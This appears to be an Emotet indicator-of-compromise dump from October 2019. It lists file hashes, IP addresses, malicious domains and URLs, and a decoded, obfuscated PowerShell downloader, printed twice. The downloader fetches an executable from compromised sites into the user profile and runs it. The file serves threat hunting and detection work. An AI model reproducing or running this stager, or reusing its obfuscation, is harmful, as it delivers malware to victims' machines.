Emotet_Doc_out_2019-10-02_02_35.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
a16ddee803b47c181a08d6b39a73adc4
ec96c6d7bc55e159f36ba61c05d4ed41
9dbdd2932337e864689d37f0df8ed3b7
cff2ea43b0e027f1d6bd960aaf4ab648
de8b875f24adcb64e1db2c7cb9f2bbfe
7e3bcb658eaa07ad8b0740b318774746


IPs:
103.229.72.95
107.180.14.68
160.153.193.21
23.229.236.0
23.239.25.94


Domains:
arabaresmi.com
truuhomecare.com
www.frevolalaw.com
www.paraitelengria.com
www.rugsdecore.com


URLs:
hxxps://www.microsoft.com/ #> $sexydws=
hxxp://www.frevolalaw.com/cgi-bin/fh4spo_7rkv7a9528-539/
hxxps://arabaresmi.com/wzyp/fGRopmLJLS/
hxxp://www.rugsdecore.com/onsite-services/b0g9uluniw_395sgv22-487/
hxxps://truuhomecare.com/wp-admin/PxhbgbQZlA/
hxxp://www.paraitelengria.com/wp-includes/dAdVsendnZ/
hxxps://www.microsoft.com/ #> $sexydws=
hxxp://www.frevolalaw.com/cgi-bin/fh4spo_7rkv7a9528-539/
hxxps://arabaresmi.com/wzyp/fGRopmLJLS/
hxxp://www.rugsdecore.com/onsite-services/b0g9uluniw_395sgv22-487/
hxxps://truuhomecare.com/wp-admin/PxhbgbQZlA/
hxxp://www.paraitelengria.com/wp-includes/dAdVsendnZ/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $sexydws='Optimizationnfi';
$redundantajz = '513';
$greennil='Metalrct';
$Money_Market_Accountlvq=$env:userprofile+'\'+$redundantajz+'.exe';
$Incrediblevli='Lebanonthz';
$usercentricimq=.('new'+'-obj'+'ect') NET.WEBClient;
$Tastybbb='hxxp://www.frevolalaw.com/cgi-bin/fh4spo_7rkv7a9528-539/
hxxps://arabaresmi.com/wzyp/fGRopmLJLS/
hxxp://www.rugsdecore.com/onsite-services/b0g9uluniw_395sgv22-487/
hxxps://truuhomecare.com/wp-admin/PxhbgbQZlA/
hxxp://www.paraitelengria.com/wp-includes/dAdVsendnZ/'."SPL`iT"('
');
$Awesomemfj='transmittingiwv';
foreach($dynamicstm in $Tastybbb){try{$usercentricimq."dO`WNl`OADFI`le"($dynamicstm, $Money_Market_Accountlvq);
$Toolskwu='bluetoothmij';
If ((&('Get-'+'I'+'tem') $Money_Market_Accountlvq)."Len`gth" -ge 25041) {[Diagnostics.Process]::"ST`ART"($Money_Market_Accountlvq);
$Mountainjdd='Representativeozz';
break;
$Sleek_Steel_Carjkp='encompassingwwh'}}catch{}}$generatingjbt='feedrwf'<# hxxps://www.microsoft.com/ #> $sexydws='Optimizationnfi';
$redundantajz = '513';
$greennil='Metalrct';
$Money_Market_Accountlvq=$env:userprofile+'\'+$redundantajz+'.exe';
$Incrediblevli='Lebanonthz';
$usercentricimq=.('new'+'-obj'+'ect') NET.WEBClient;
$Tastybbb='hxxp://www.frevolalaw.com/cgi-bin/fh4spo_7rkv7a9528-539/
hxxps://arabaresmi.com/wzyp/fGRopmLJLS/
hxxp://www.rugsdecore.com/onsite-services/b0g9uluniw_395sgv22-487/
hxxps://truuhomecare.com/wp-admin/PxhbgbQZlA/
hxxp://www.paraitelengria.com/wp-includes/dAdVsendnZ/'."SPL`iT"('
');
$Awesomemfj='transmittingiwv';
foreach($dynamicstm in $Tastybbb){try{$usercentricimq."dO`WNl`OADFI`le"($dynamicstm, $Money_Market_Accountlvq);
$Toolskwu='bluetoothmij';
If ((&('Get-'+'I'+'tem') $Money_Market_Accountlvq)."Len`gth" -ge 25041) {[Diagnostics.Process]::"ST`ART"($Money_Market_Accountlvq);
$Mountainjdd='Representativeozz';
break;
$Sleek_Steel_Carjkp='encompassingwwh'}}catch{}}$generatingjbt='feedrwf'